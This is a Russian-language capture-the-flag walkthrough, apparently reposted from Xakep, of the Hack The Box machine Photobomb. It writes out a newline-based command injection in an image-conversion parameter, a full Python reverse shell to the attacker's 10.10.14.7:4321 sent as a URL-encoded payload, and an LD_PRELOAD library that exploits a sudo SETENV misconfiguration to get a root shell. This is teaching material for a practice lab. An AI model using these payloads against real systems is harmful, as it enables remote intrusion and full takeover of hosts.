Хакер - HTB Photobomb. Используем мисконфиг sudo для повышения привилегий
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Точка опоры
- Локальное повышение привилегий
В этом райтапе я покажу, как ошибки в конфигурации sudo приводят к возможности выполнить свой код в привилегированном контексте. А перед этим получим доступ от имени локального пользователя при помощи инъекции команды.
Атаковать мы будем виртуальную машину Photobomb с площадки Hack The Box. Уровень ее сложности — легкий, потребуется применить всего несколько приемов.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts, чтобы можно было обращаться к хосту по имени:
10.10.11.182 photobomb.htb
И запускаем сканирование, чтобы получить список открытых на машине портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Nmap показал нам два открытых порта: 22-й, на котором работает служба OpenSSH 8.2p1, и 80-й, где отвечает веб‑сервер Nginx 1.18.0. Поскольку учетной записи для логина по SSH у нас пока нет, выбор очевиден: идем просматривать веб. Все действия я буду проводить через Burp Proxy, чтобы потом иметь доступ ко всем данным запросов и ответов.

Нас встречает страница с информацией и с одной ссылкой, по которой мы, конечно же, проходим.
ТОЧКА ВХОДА
По ссылке нам открывается форма HTTP-аутентификации.

Стандартные пары из логина и пароля вроде admin:admin не подошли. Поэтому переходим в Burp History и просматриваем содержимое всех запросов. В исходном коде файла photobomb.js находим учетные данные для HTTP-аутентификации.

Можем перейти прямо по найденному адресу:
http://pH0t0:b0Mb!@photobomb.htb/printer
Как вариант, можно вернуться к странице с запросом учетных данных и ввести их вручную.
ТОЧКА ОПОРЫ
На сайте есть возможность скачать изображение в выбранном качестве и разрешении. Для нас это интересно, поэтому просмотрим передаваемые в запросе параметры при конфигурации и скачивании картинки.

Первая идея — получить метаданные изображения с помощью exiftool и найти какие‑нибудь следы генератора изображений, если такой используется. Тогда мы смогли бы поискать существующие уязвимости и эксплоиты для них. Но в метаданных изображений ничего интересного найти не удалось.
Затем я решил попробовать распечатать «не совсем изображение». В параметре имени файла указываем путь /etc/passwd или /../../../../../../../etc/passwd, чтобы попробовать выгрузить какие‑нибудь интересные системные файлы. Но получаем следующий ответ, сигнализирующий о том, что и эта идея ошибочна.

Так как применяется конвертирование в указанный формат, возможно, веб‑приложение использует конвертер, передавая команды в командную оболочку. В этом случае и имя файла, и расширение будут переданы как параметры командной строки, и в этом случае нужно проверить инъекцию команды ОС. Мы уже выяснили, что имя файла проверяется, и тут нет особой гибкости. Поэтому проверяем только параметр, где указывается новый формат. Список нагрузок для проверки на уязвимость OS Command Injection перебираем через Burp Intruder.

В итоге, перейдя к Time-Based-нагрузкам (когда нет вывода команды, а результат ее выполнения отмечаем по задержке времени ответа), определяем, что есть возможность слепой инъекции.

В настройках вывода добавим столбец, содержащий время ответа, и заметим, что при отправке нагрузки %0Asleep 7 ответ от сервера задерживается на восемь секунд!
Запустим локальный веб‑сервер:
python3 -m http.server 80
И теперь попробуем обратиться на него через вероятную уязвимость с помощью curl:
photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg%0Acurl%20http%3a//10.10.14.7/test_RCE&dimensions=1000x1500

Запрос пришел, значит, уязвимость внедрения команды есть. Теперь попробуем выполнить следующий реверс‑шелл на Python 3:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.7",4321))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
Открываем листенер на порте 4321 (я использую pwncat), кодируем реверс‑шелл и отправляем запрос на сервер.
photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg%0Apython3+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("10.10.14.7",4321))%3bos.dup2(s.fileno(),0)%3bos.dup2(s.fileno(),1)%3bos.dup2(s.fileno(),2)%3bp%3dsubprocess.call(["/bin/sh","-i"])%3b'&dimensions=1000x1500

В pwncat после получения сессии для переключения к шеллу вводим команду back, а для выхода в меню используем комбинацию клавиш Ctrl-D.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Теперь, когда мы получили доступ к хосту, нам необходимо собрать информацию. Я, как обычно, использую для этого скрипты PEASS.
Справка: скрипты PEASS для Linux
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате.
Загрузим на удаленный хост скрипт для Linux, командой chmod +x linpeas.sh дадим ему право на выполнение и запустим сбор информации. Из всего вывода можно уцепиться только за настройки sudoers.

Справка: sudoers
Файл /etc/sudoers в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команды sudo -l.
Мы можем выполнить команду /opt/cleanup.sh от имени пользователя root с установкой переменных окружения (SETENV) без ввода пароля (NOPASSWD). Смотрим содержимое обнаруженного скрипта.
cat /opt/cleanup.sh

В самом скрипте нет ничего интересного, зато есть возможность установить переменные окружения. Это очень важно при повышении привилегий. Мы, например, можем использовать переменную окружения LD_PRELOAD и с ее помощью сообщить системному компоновщику времени выполнения (ld.so), что он должен загрузить указанные библиотеки раньше других. В результате можно перехватывать вызовы системных функций и заменять их собственной реализацией, а то и просто выполнить свой код.
Давай напишем свою библиотеку, которая должна дать нам шелл в привилегированном контексте.
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
Теперь компилируем ее с помощью GCC.
gcc -fPIC -shared -o lpe.so lpe.c -nostartfiles

Собранный файл загружаем на удаленный хост и выполняем скрипт под sudo с указанием нашей библиотеки в переменной окружения LD_PRELOAD. И получаем привилегированную командную оболочку.
sudo LD_PRELOAD=/tmp/lpe.so /opt/cleanup.sh

Машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei